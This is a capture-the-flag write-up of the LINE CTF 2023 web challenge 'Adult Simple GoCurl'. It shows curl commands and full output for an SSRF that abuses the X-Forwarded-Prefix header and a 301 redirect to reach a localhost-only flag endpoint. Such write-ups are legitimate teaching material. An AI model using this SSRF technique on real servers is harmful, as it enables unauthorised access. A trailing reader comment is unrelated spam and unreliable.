LINE CTF 2023-web-Adult Simple GoCurl

yoobi·2023년 5월 8일
0

Keywords

  • gin-gonic's X-Forwarded-Prefix
  • Work flow of http response header Location (301 Moved Permanently)

Given info

  • adult-simple-gocurl.tar.gz was given
Given
│  docker-compose.yml
│  Dockerfile
│  start.sh
│
└─adult-simple-gocurl
    │  go.mod
    │  go.sum
    │  main.go
    │
    ├─static
    │      curl.css
    │      curl.js
    │      jquery.min.js
    │
    └─view
            index.html
  • We can find /flag/ service in main.go file
...
r.GET("/flag/", func(c *gin.Context) {
	reqIP := strings.Split(c.Request.RemoteAddr, ":")[0]

	log.Println("[+] IP : " + reqIP)
	if reqIP == "127.0.0.1" {
		c.JSON(http.StatusOK, gin.H{
			"message": flag,
		})
		return
	}

	c.JSON(http.StatusBadRequest, gin.H{
		"message": "You are a Guest, This is only for Host",
	})
})
...
  • But, the /flag/ service check the c.Request.RemoteAddr value is same with 127.0.0.1 or not
  • We should bypass this IF code
  • May be the Header key and Header Value are hints

Flow

  1. Use X-Forwarded-Prefix value to redirect /flag/ service forcibly

Get Flag

  • try to /flag/, We can not execute it
  • The changes from Baby Simple GoCurl is IF statement value
// Baby Simple GoCurl
if c.ClientIP() != "127.0.0.1" && (strings.Contains(reqUrl, "flag") || strings.Contains(reqUrl, "curl") || strings.Contains(reqUrl, "%")) {
	c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
	return
}

// Adult Simple GoCurl
if strings.Contains(reqUrl, "flag") || strings.Contains(reqUrl, "curl") || strings.Contains(reqUrl, "%") {
	c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
	return
}
  • Becauese of this changes, we can not bypass the IF statment using modified c.ClientIP() value

  • Here we can use http header X-Forwarded-Prefix, this header will change http RESPONSE's Location value
    https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Location

  • It means that we can make server to execute /flag/ service using this header forcibly

  • This is how the X-Forwarded-Prefix is working

root@DESKTOP-P93BC06:/home/yoobi# curl -L -w "\n" -v -H "X-Forwarded-Prefix: /flag" http://34.84.87.77:11001//
*   Trying 34.84.87.77...
* TCP_NODELAY set
* Connected to 34.84.87.77 (34.84.87.77) port 11001 (#0)
> GET // HTTP/1.1
> Host: 34.84.87.77:11001
> User-Agent: curl/7.58.0
> Accept: */*
> X-Forwarded-Prefix: /flag
>
< HTTP/1.1 301 Moved Permanently
< Content-Type: text/html; charset=utf-8
< Location: /flag/
< Date: Sun, 26 Mar 2023 06:24:54 GMT
< Content-Length: 41
<
* Ignoring the response-body
* Connection #0 to host 34.84.87.77 left intact
* Issue another request to this URL: 'http://34.84.87.77:11001/flag/'
* Found bundle for host 34.84.87.77: 0x55bc411c5420 [can pipeline]
* Re-using existing connection! (#0) with host 34.84.87.77
* Connected to 34.84.87.77 (34.84.87.77) port 11001 (#0)
> GET /flag/ HTTP/1.1
> Host: 34.84.87.77:11001
> User-Agent: curl/7.58.0
> Accept: */*
> X-Forwarded-Prefix: /flag
>
< HTTP/1.1 400 Bad Request
< Content-Type: application/json; charset=utf-8
< Date: Sun, 26 Mar 2023 06:24:54 GMT
< Content-Length: 52
<
* Connection #0 to host 34.84.87.77 left intact
{"message":"You are a Guest, This is only for Host"}
  • We can get FLAG through the ?url=http://127.0.0.1:8080//
root@DESKTOP-P93BC06:/home/yoobi# curl -w "\n" -v "http://34.84.87.77:11001/curl/?url=http://127.0.0.1:8080//&header_key=X-Forwarded-Prefix&header_value=/flag"
*   Trying 34.84.87.77...
* TCP_NODELAY set
* Connected to 34.84.87.77 (34.84.87.77) port 11001 (#0)
> GET /curl/?url=http://127.0.0.1:8080//&header_key=X-Forwarded-Prefix&header_value=/flag HTTP/1.1
> Host: 34.84.87.77:11001
> User-Agent: curl/7.58.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Type: application/json; charset=utf-8
< Date: Sun, 26 Mar 2023 06:25:43 GMT
< Content-Length: 90
<
* Connection #0 to host 34.84.87.77 left intact
{"body":"{\"message\":\"= LINECTF{b80233bef0ecfa0741f0d91269e203d4}\"}","status":"200 OK"}
  • The reason why we should using // instead of / is that we should make 301 Moved Permanently to redirect the service by Location value
profile
this is yoobi

1개의 댓글

comment-user-thumbnail
2024년 6월 1일

ThanksIntroducing Adult Simple GoCurl, where functionality meets finesse in a bunny cms (Content Management System). Tailored for grown-up needs yet retaining the whimsy of youthful imagination, this platform offers seamless navigation and effortless customization. Whether it's organizing your digital den or hopping onto the latest trends, Adult Simple GoCurl provides the tools to curate content with ease. Its intuitive interface ensures a hassle-free experience, allowing users to focus on their creative endeavors without getting lost in the burrows of complexity. With Adult Simple GoCurl, take a leap forward in managing your online presence with the grace and agility of a seasoned hare.

답글 달기